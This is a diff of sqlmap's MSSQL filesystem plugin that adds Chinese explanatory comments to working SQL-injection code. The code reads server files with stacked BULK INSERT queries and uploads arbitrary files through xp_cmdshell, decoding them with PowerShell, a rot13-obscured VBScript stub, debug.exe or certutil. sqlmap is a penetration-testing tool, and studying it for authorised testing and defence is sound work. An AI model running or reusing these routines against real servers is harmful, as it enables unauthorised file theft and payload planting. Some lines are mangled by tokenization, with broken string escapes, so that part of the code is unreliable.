@ -5,75 +5,81 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file ' LICENSE ' for copying permission
"""
import ntpath
import os
from lib . core . common import checkFile
from lib . core . common import getLimitRange
from lib . core . common import isNumPosStrValue
from lib . core . common import isTechniqueAvailable
from lib . core . common import posixToNtSlashes
from lib . core . common import randomStr
from lib . core . common import readInput
from lib . core . compat import xrange
from lib . core . convert import encodeBase64
from lib . core . convert import encodeHex
from lib . core . convert import rot13
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . enums import CHARSET_TYPE
from lib . core . enums import EXPECTED
from lib . core . enums import PAYLOAD
from lib . core . exception import SqlmapNoneDataException
from lib . core . exception import SqlmapUnsupportedFeatureException
from lib . request import inject
from plugins . generic . filesystem import Filesystem as GenericFilesystem
# 导入必要的模块
import ntpath # 导入 ntpath 模块,用于处理 Windows 路径
import os # 导入 os 模块,用于执行操作系统相关操作
from lib . core . common import checkFile # 导入 checkFile 函数,用于检查文件是否存在
from lib . core . common import getLimitRange # 导入 getLimitRange 函数,用于生成限制范围
from lib . core . common import isNumPosStrValue # 导入 isNumPosStrValue 函数,用于检查值是否为正数字字符串
from lib . core . common import isTechniqueAvailable # 导入 isTechniqueAvailable 函数,用于检查指定的注入技术是否可用
from lib . core . common import posixToNtSlashes # 导入 posixToNtSlashes 函数,用于将 POSIX 路径转换为 NT 路径
from lib . core . common import randomStr # 导入 randomStr 函数,用于生成随机字符串
from lib . core . common import readInput # 导入 readInput 函数,用于读取用户输入
from lib . core . compat import xrange # 导入 xrange 函数,用于兼容 Python 2 和 3 的循环
from lib . core . convert import encodeBase64 # 导入 encodeBase64 函数,用于 Base64 编码
from lib . core . convert import encodeHex # 导入 encodeHex 函数,用于十六进制编码
from lib . core . convert import rot13 # 导入 rot13 函数,用于 ROT13 编码
from lib . core . data import conf # 导入 conf 对象,用于访问全局配置信息
from lib . core . data import kb # 导入 kb 对象,用于访问全局知识库
from lib . core . data import logger # 导入 logger 对象,用于输出日志
from lib . core . enums import CHARSET_TYPE # 导入 CHARSET_TYPE 枚举,定义字符集类型
from lib . core . enums import EXPECTED # 导入 EXPECTED 枚举,定义期望的返回值类型
from lib . core . enums import PAYLOAD # 导入 PAYLOAD 枚举,定义注入类型
from lib . core . exception import SqlmapNoneDataException # 导入 SqlmapNoneDataException 异常类,用于表示没有数据
from lib . core . exception import SqlmapUnsupportedFeatureException # 导入 SqlmapUnsupportedFeatureException 异常类,用于表示不支持的功能
from lib . request import inject # 导入 inject 函数,用于执行 SQL 注入请求
from plugins . generic . filesystem import Filesystem as GenericFilesystem # 导入 GenericFilesystem 类,作为当前类的父类
# 定义 Filesystem 类,继承自 GenericFilesystem
class Filesystem ( GenericFilesystem ) :
# 定义 _dataToScr 方法,用于将数据转换为 debug.exe 脚本
def _dataToScr ( self , fileContent , chunkName ) :
fileLines = [ ]
fileSize = len ( fileContent )
lineAddr = 0x100
lineLen = 20
fileLines = [ ] # 初始化文件行列表
fileSize = len ( fileContent ) # 获取文件大小
lineAddr = 0x100 # 设置起始地址
lineLen = 20 # 设置每行长度
fileLines . append ( " n %s " % chunkName )
fileLines . append ( " rcx " )
fileLines . append ( " %x " % fileSize )
fileLines . append ( " f 0100 %x 00 " % fileSize )
fileLines . append ( " n %s " % chunkName ) # 添加 debug.exe 的 'n' 命令,用于设置文件名
fileLines . append ( " rcx " ) # 添加 debug.exe 的 'rcx' 命令,用于设置寄存器 cx
fileLines . append ( " %x " % fileSize ) # 添加文件大小
fileLines . append ( " f 0100 %x 00 " % fileSize ) # 添加 debug.exe 的 'f' 命令,用于填充内存
# 遍历文件内容,将每一行转换为 debug.exe 的 'e' 命令
for fileLine in xrange ( 0 , len ( fileContent ) , lineLen ) :
scrString = " "
scrString = " " # 初始化每行字符串
for lineChar in fileContent [ fileLine : fileLine + lineLen ] :
strLineChar = encodeHex ( lineChar , binary = False )
strLineChar = encodeHex ( lineChar , binary = False ) # 将字符转换为十六进制字符串
if not scrString :
scrString = " e %x %s " % ( lineAddr , strLineChar )
scrString = " e %x %s " % ( lineAddr , strLineChar ) # 如果是第一个字符,则添加 'e' 命令
else :
scrString + = " %s " % strLineChar
scrString + = " %s " % strLineChar # 添加字符
lineAddr + = len ( strLineChar ) / / 2
lineAddr + = len ( strLineChar ) / / 2 # 更新地址
fileLines . append ( scrString )
fileLines . append ( scrString ) # 添加到文件行列表
fileLines . append ( " w " )
fileLines . append ( " q " )
fileLines . append ( " w " ) # 添加 debug.exe 的 'w' 命令,用于写入文件
fileLines . append ( " q " ) # 添加 debug.exe 的 'q' 命令,用于退出 debug.exe
return fileLines
return fileLines # 返回文件行列表
# 定义 _updateDestChunk 方法,用于更新目标文件的 chunk
def _updateDestChunk ( self , fileContent , tmpPath ) :
randScr = " tmpf %s .scr " % randomStr ( lowercase = True )
chunkName = randomStr ( lowercase = True )
fileScrLines = self . _dataToScr ( fileContent , chunkName )
randScr = " tmpf %s .scr " % randomStr ( lowercase = True ) # 生成随机的 debug.exe 脚本文件名
chunkName = randomStr ( lowercase = True ) # 生成随机的 chunk 文件名
fileScrLines = self . _dataToScr ( fileContent , chunkName ) # 将文件内容转换为 debug.exe 脚本
logger . debug ( " uploading debug script to %s \\ %s , please wait.. " % ( tmpPath , randScr ) )
self . xpCmdshellWriteFile ( fileScrLines , tmpPath , randScr )
self . xpCmdshellWriteFile ( fileScrLines , tmpPath , randScr ) # 使用 xp_cmdshell 将 debug.exe 脚本写入到服务器
logger . debug ( " generating chunk file %s \\ %s from debug script %s " % ( tmpPath , chunkName , randScr ) )
# 执行 debug.exe 脚本,生成 chunk 文件
commands = (
" cd \" %s \" " % tmpPath ,
" debug < %s " % randScr ,
@ -82,25 +88,26 @@ class Filesystem(GenericFilesystem):
self . execCmd ( " & " . join ( command for command in commands ) )
return chunkName
return chunkName # 返回 chunk 文件名
# 定义 stackedReadFile 方法,用于读取服务器文件内容,使用堆叠查询
def stackedReadFile ( self , remoteFile ) :
if not kb . bruteMode :
infoMsg = " fetching file: ' %s ' " % remoteFile
logger . info ( infoMsg )
result = [ ]
txtTbl = self . fileTblName
hexTbl = " %s %s hex " % ( self . fileTblName , randomStr ( ) )
result = [ ] # 初始化结果列表
txtTbl = self . fileTblName # 获取文件表名
hexTbl = " %s %s hex " % ( self . fileTblName , randomStr ( ) ) # 生成十六进制表名
self . createSupportTbl ( txtTbl , self . tblField , " text " )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
inject . goStacked ( " CREATE TABLE %s (id INT IDENTITY(1, 1) PRIMARY KEY, %s %s ) " % ( hexTbl , self . tblField , " VARCHAR(4096) " ) )
self . createSupportTbl ( txtTbl , self . tblField , " text " ) # 创建支持表,用于存储文件内容
inject . goStacked ( " DROP TABLE %s " % hexTbl ) # 删除十六进制表
inject . goStacked ( " CREATE TABLE %s (id INT IDENTITY(1, 1) PRIMARY KEY, %s %s ) " % ( hexTbl , self . tblField , " VARCHAR(4096) " ) ) # 创建十六进制表
logger . debug ( " loading the content of file ' %s ' into support table " % remoteFile )
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( txtTbl , remoteFile , randomStr ( 10 ) , randomStr ( 10 ) ) , silent = True )
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( txtTbl , remoteFile , randomStr ( 10 ) , randomStr ( 10 ) ) , silent = True ) # 使用 BULK INSERT 将文件内容读取到支持表
# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
# 将二进制数据转换为十六进制字符串的 SQL 查询
binToHexQuery = """ DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR ( 4096 )
@ -139,67 +146,76 @@ class Filesystem(GenericFilesystem):
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery . replace ( " " , " " ) . replace ( " \n " , " " )
inject . goStacked ( binToHexQuery )
binToHexQuery = binToHexQuery . replace ( " " , " " ) . replace ( " \
" , " " ) # 移除多余空格和换行符
inject . goStacked ( binToHexQuery ) # 执行 SQL 查询,将二进制数据转换为十六进制字符串
# 如果可以使用 UNION 注入,则直接读取十六进制表
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
result = inject . getValue ( " SELECT %s FROM %s ORDER BY id ASC " % ( self . tblField , hexTbl ) , resumeValue = False , blind = False , time = False , error = False )
# 如果无法使用 UNION 注入,则使用推断注入来读取十六进制表
if not result :
result = [ ]
count = inject . getValue ( " SELECT COUNT(*) FROM %s " % ( hexTbl ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
count = inject . getValue ( " SELECT COUNT(*) FROM %s " % ( hexTbl ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS ) # 获取十六进制表的行数
if not isNumPosStrValue ( count ) :
errMsg = " unable to retrieve the content of the "
errMsg + = " file ' %s ' " % remoteFile
raise SqlmapNoneDataException ( errMsg )
indexRange = getLimitRange ( count )
indexRange = getLimitRange ( count ) # 生成索引范围
# 遍历索引范围,逐行读取十六进制数据
for index in indexRange :
chunk = inject . getValue ( " SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC " % ( self . tblField , hexTbl , self . tblField , index , self . tblField , hexTbl ) , unpack = False , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
result . append ( chunk )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
inject . goStacked ( " DROP TABLE %s " % hexTbl ) # 删除十六进制表
return result
return result # 返回读取的文件内容
# 定义 unionWriteFile 方法,用于使用 UNION 注入写入文件,但此方法不支持 SQL Server
def unionWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
errMsg = " Microsoft SQL Server does not support file upload with "
errMsg + = " UNION query SQL injection technique "
raise SqlmapUnsupportedFeatureException ( errMsg )
# 定义 _stackedWriteFilePS 方法,用于使用 PowerShell 写入文件内容
def _stackedWriteFilePS ( self , tmpPath , localFileContent , remoteFile , fileType ) :
infoMsg = " using PowerShell to write the %s file content " % fileType
infoMsg + = " to file ' %s ' " % remoteFile
logger . info ( infoMsg )
encodedFileContent = encodeBase64 ( localFileContent , binary = False )
encodedBase64File = " tmpf %s .txt " % randomStr ( lowercase = True )
encodedBase64FilePath = " %s \\ %s " % ( tmpPath , encodedBase64File )
encodedFileContent = encodeBase64 ( localFileContent , binary = False ) # 将文件内容进行 Base64 编码
encodedBase64File = " tmpf %s .txt " % randomStr ( lowercase = True ) # 生成随机的 Base64 文件名
encodedBase64FilePath = " %s \\ %s " % ( tmpPath , encodedBase64File ) # 构建 Base64 文件路径
randPSScript = " tmpps %s .ps1 " % randomStr ( lowercase = True )
randPSScriptPath = " %s \\ %s " % ( tmpPath , randPSScript )
randPSScript = " tmpps %s .ps1 " % randomStr ( lowercase = True ) # 生成随机的 PowerShell 脚本文件名
randPSScriptPath = " %s \\ %s " % ( tmpPath , randPSScript ) # 构建 PowerShell 脚本路径
localFileSize = len ( encodedFileContent )
chunkMaxSize = 1024
localFileSize = len ( encodedFileContent ) # 获取 Base64 编码后的文件大小
chunkMaxSize = 1024 # 设置最大 chunk 大小
logger . debug ( " uploading the base64-encoded file to %s , please wait.. " % encodedBase64FilePath )
# 循环上传 Base64 编码后的文件内容
for i in xrange ( 0 , localFileSize , chunkMaxSize ) :
wEncodedChunk = encodedFileContent [ i : i + chunkMaxSize ]
self . xpCmdshellWriteFile ( wEncodedChunk , tmpPath , encodedBase64File )
self . xpCmdshellWriteFile ( wEncodedChunk , tmpPath , encodedBase64File ) # 使用 xp_cmdshell 将 Base64 编码后的文件内容写入到服务器
# 构建 PowerShell 脚本
psString = " $Base64 = Get-Content -Path \" %s \" ; " % encodedBase64FilePath
psString + = " $Base64 = $Base64 -replace \" `t|`n|`r \" , \" \" ; $Content = "
psString + = " [System.Convert]::FromBase64String($Base64); Set-Content "
psString + = " -Path \" %s \" -Value $Content -Encoding Byte " % remoteFile
logger . debug ( " uploading the PowerShell base64-decoding script to %s " % randPSScriptPath )
self . xpCmdshellWriteFile ( psString , tmpPath , randPSScript )
self . xpCmdshellWriteFile ( psString , tmpPath , randPSScript ) # 使用 xp_cmdshell 将 PowerShell 脚本写入到服务器
logger . debug ( " executing the PowerShell base64-decoding script to write the %s file, please wait.. " % remoteFile )
# 执行 PowerShell 脚本,将 Base64 编码后的文件内容解码并写入到目标文件
commands = (
" powershell -ExecutionPolicy ByPass -File \" %s \" " % randPSScriptPath ,
" del /F /Q \" %s \" " % encodedBase64FilePath ,
@ -208,23 +224,26 @@ class Filesystem(GenericFilesystem):
self . execCmd ( " & " . join ( command for command in commands ) )
# 定义 _stackedWriteFileDebugExe 方法,用于使用 debug.exe 写入文件内容
def _stackedWriteFileDebugExe ( self , tmpPath , localFile , localFileContent , remoteFile , fileType ) :
infoMsg = " using debug.exe to write the %s " % fileType
infoMsg + = " file content to file ' %s ' , please wait.. " % remoteFile
logger . info ( infoMsg )
remoteFileName = ntpath . basename ( remoteFile )
sFile = " %s \\ %s " % ( tmpPath , remoteFileName )
localFileSize = os . path . getsize ( localFile )
debugSize = 0xFF00
remoteFileName = ntpath . basename ( remoteFile ) # 获取远程文件名
sFile = " %s \\ %s " % ( tmpPath , remoteFileName ) # 构建远程文件路径
localFileSize = os . path . getsize ( localFile ) # 获取本地文件大小
debugSize = 0xFF00 # 设置 debug.exe 的最大写入大小
# 如果文件小于 debug.exe 的最大写入大小,则直接写入
if localFileSize < debugSize :
chunkName = self . _updateDestChunk ( localFileContent , tmpPath )
chunkName = self . _updateDestChunk ( localFileContent , tmpPath ) # 将文件内容转换为 debug.exe 脚本并生成 chunk 文件
debugMsg = " renaming chunk file %s \\ %s to %s " % ( tmpPath , chunkName , fileType )
debugMsg + = " file %s \\ %s and moving it to %s " % ( tmpPath , remoteFileName , remoteFile )
logger . debug ( debugMsg )
# 将 chunk 文件重命名为目标文件名并移动到目标路径
commands = (
" cd \" %s \" " % tmpPath ,
" ren %s %s " % ( chunkName , remoteFileName ) ,
@ -232,6 +251,7 @@ class Filesystem(GenericFilesystem):
)
self . execCmd ( " & " . join ( command for command in commands ) )
# 如果文件大于 debug.exe 的最大写入大小,则分块写入
else :
debugMsg = " the file is larger than %d bytes. " % debugSize
debugMsg + = " sqlmap will split it into chunks locally, upload "
@ -239,10 +259,12 @@ class Filesystem(GenericFilesystem):
debugMsg + = " on the server, please wait.. "
logger . debug ( debugMsg )
# 循环分块写入文件
for i in xrange ( 0 , localFileSize , debugSize ) :
localFileChunk = localFileContent [ i : i + debugSize ]
chunkName = self . _updateDestChunk ( localFileChunk , tmpPath )
localFileChunk = localFileContent [ i : i + debugSize ] # 获取文件 chunk
chunkName = self . _updateDestChunk ( localFileChunk , tmpPath ) # 将文件 chunk 转换为 debug.exe 脚本并生成 chunk 文件
# 如果是第一个 chunk, 则重命名, 否则合并 chunk
if i == 0 :
debugMsg = " renaming chunk "
copyCmd = " ren %s %s " % ( chunkName , remoteFileName )
@ -253,6 +275,7 @@ class Filesystem(GenericFilesystem):
debugMsg + = " %s \\ %s to %s file %s \\ %s " % ( tmpPath , chunkName , fileType , tmpPath , remoteFileName )
logger . debug ( debugMsg )
# 执行重命名或合并操作
commands = (
" cd \" %s \" " % tmpPath ,
copyCmd ,
@ -263,6 +286,7 @@ class Filesystem(GenericFilesystem):
logger . debug ( " moving %s file %s to %s " % ( fileType , sFile , remoteFile ) )
# 将合并后的文件移动到目标路径
commands = (
" cd \" %s \" " % tmpPath ,
" move /Y %s %s " % ( remoteFileName , remoteFile )
@ -270,15 +294,17 @@ class Filesystem(GenericFilesystem):
self . execCmd ( " & " . join ( command for command in commands ) )
# 定义 _stackedWriteFileVbs 方法,用于使用 VBScript 写入文件内容
def _stackedWriteFileVbs ( self , tmpPath , localFileContent , remoteFile , fileType ) :
infoMsg = " using a custom visual basic script to write the "
infoMsg + = " %s file content to file ' %s ' , please wait.. " % ( fileType , remoteFile )
logger . info ( infoMsg )
randVbs = " tmps %s .vbs " % randomStr ( lowercase = True )
randFile = " tmpf %s .txt " % randomStr ( lowercase = True )
randFilePath = " %s \\ %s " % ( tmpPath , randFile )
randVbs = " tmps %s .vbs " % randomStr ( lowercase = True ) # 生成随机的 VBScript 文件名
randFile = " tmpf %s .txt " % randomStr ( lowercase = True ) # 生成随机的临时文件名
randFilePath = " %s \\ %s " % ( tmpPath , randFile ) # 构建临时文件路径
# 构建 VBScript 脚本
vbs = """ Qvz vachgSvyrCngu, bhgchgSvyrCngu
vachgSvyrCngu = " %f "
bhgchgSvyrCngu = " %f "
@ -334,18 +360,17 @@ class Filesystem(GenericFilesystem):
Raq Shapgvba """
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581
vbs = rot13 ( vbs )
vbs = vbs . replace ( " " , " " )
encodedFileContent = encodeBase64 ( localFileContent , binary = False )
vbs = rot13 ( vbs ) # 对 VBScript 脚本进行 ROT13 编码
vbs = vbs . replace ( " " , " " ) # 移除多余空格
encodedFileContent = encodeBase64 ( localFileContent , binary = False ) # 将文件内容进行 Base64 编码
logger . debug ( " uploading the file base64-encoded content to %s , please wait.. " % randFilePath )
self . xpCmdshellWriteFile ( encodedFileContent , tmpPath , randFile )
self . xpCmdshellWriteFile ( encodedFileContent , tmpPath , randFile ) # 使用 xp_cmdshell 将 Base64 编码后的文件内容写入到服务器
logger . debug ( " uploading a visual basic decoder stub %s \\ %s , please wait.. " % ( tmpPath , randVbs ) )
self . xpCmdshellWriteFile ( vbs , tmpPath , randVbs ) # 使用 xp_cmdshell 将 VBScript 脚本写入到服务器
self . xpCmdshellWriteFile ( vbs , tmpPath , randVbs )
# 执行 VBScript 脚本,将 Base64 编码后的文件内容解码并写入到目标文件
commands = (
" cd \" %s \" " % tmpPath ,
" cscript //nologo %s " % randVbs ,
@ -355,26 +380,28 @@ class Filesystem(GenericFilesystem):
self . execCmd ( " & " . join ( command for command in commands ) )
# 定义 _stackedWriteFileCertutilExe 方法,用于使用 certutil.exe 写入文件内容
def _stackedWriteFileCertutilExe ( self , tmpPath , localFile , localFileContent , remoteFile , fileType ) :
infoMsg = " using certutil.exe to write the %s " % fileType
infoMsg + = " file content to file ' %s ' , please wait.. " % remoteFile
logger . info ( infoMsg )
chunkMaxSize = 500
chunkMaxSize = 500 # 设置最大 chunk 大小
randFile = " tmpf %s .txt " % randomStr ( lowercase = True )
randFilePath = " %s \\ %s " % ( tmpPath , randFile )
randFile = " tmpf %s .txt " % randomStr ( lowercase = True ) # 生成随机的文件名
randFilePath = " %s \\ %s " % ( tmpPath , randFile ) # 构建文件路径
encodedFileContent = encodeBase64 ( localFileContent , binary = False )
encodedFileContent = encodeBase64 ( localFileContent , binary = False ) # 将文件内容进行 Base64 编码
splittedEncodedFileContent = ' \n ' . join ( [ encodedFileContent [ i : i + chunkMaxSize ] for i in xrange ( 0 , len ( encodedFileContent ) , chunkMaxSize ) ] )
splittedEncodedFileContent = ' \
' .join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) # 分块 Base64 编码文件内容
logger . debug ( " uploading the file base64-encoded content to %s , please wait.. " % randFilePath )
self . xpCmdshellWriteFile ( splittedEncodedFileContent , tmpPath , randFile )
self . xpCmdshellWriteFile ( splittedEncodedFileContent , tmpPath , randFile ) # 使用 xp_cmdshell 将分块 Base64 编码后的文件内容写入到服务器
logger . debug ( " decoding the file to %s .. " % remoteFile )
# 执行 certutil.exe 命令,将 Base64 编码后的文件内容解码并写入到目标文件
commands = (
" cd \" %s \" " % tmpPath ,
" certutil -f -decode %s %s " % ( randFile , remoteFile ) ,
@ -383,6 +410,7 @@ class Filesystem(GenericFilesystem):
self . execCmd ( " & " . join ( command for command in commands ) )
# 定义 stackedWriteFile 方法,用于使用堆叠查询写入文件
def stackedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
@ -390,15 +418,16 @@ class Filesystem(GenericFilesystem):
self . initEnv ( )
self . getRemoteTempPath ( )
tmpPath = posixToNtSlashes ( conf . tmpPath )
remoteFile = posixToNtSlashes ( remoteFile )
tmpPath = posixToNtSlashes ( conf . tmpPath ) # 获取临时路径并转换为 NT 路径
remoteFile = posixToNtSlashes ( remoteFile ) # 将远程文件名转换为 NT 路径
checkFile ( localFile )
localFileContent = open ( localFile , " rb " ) . read ( )
checkFile ( localFile ) # 检查本地文件是否存在
localFileContent = open ( localFile , " rb " ) . read ( ) # 读取本地文件内容
self . _stackedWriteFilePS ( tmpPath , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
self . _stackedWriteFilePS ( tmpPath , localFileContent , remoteFile , fileType ) # 尝试使用 PowerShell 写入文件
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck ) # 询问是否成功写入
# 如果 PowerShell 写入失败,则尝试使用 VBScript 写入文件
if written is False :
message = " do you want to try to upload the file with "
message + = " the custom Visual Basic script technique? [Y/n] "
@ -407,6 +436,7 @@ class Filesystem(GenericFilesystem):
self . _stackedWriteFileVbs ( tmpPath , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
# 如果 VBScript 写入失败,则尝试使用 debug.exe 写入文件
if written is False :
message = " do you want to try to upload the file with "
message + = " the built-in debug.exe technique? [Y/n] "
@ -415,6 +445,7 @@ class Filesystem(GenericFilesystem):
self . _stackedWriteFileDebugExe ( tmpPath , localFile , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
# 如果 debug.exe 写入失败,则尝试使用 certutil.exe 写入文件
if written is False :
message = " do you want to try to upload the file with "
message + = " the built-in certutil.exe technique? [Y/n] "
@ -423,4 +454,4 @@ class Filesystem(GenericFilesystem):
self . _stackedWriteFileCertutilExe ( tmpPath , localFile , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
return written
return written # 返回是否成功写入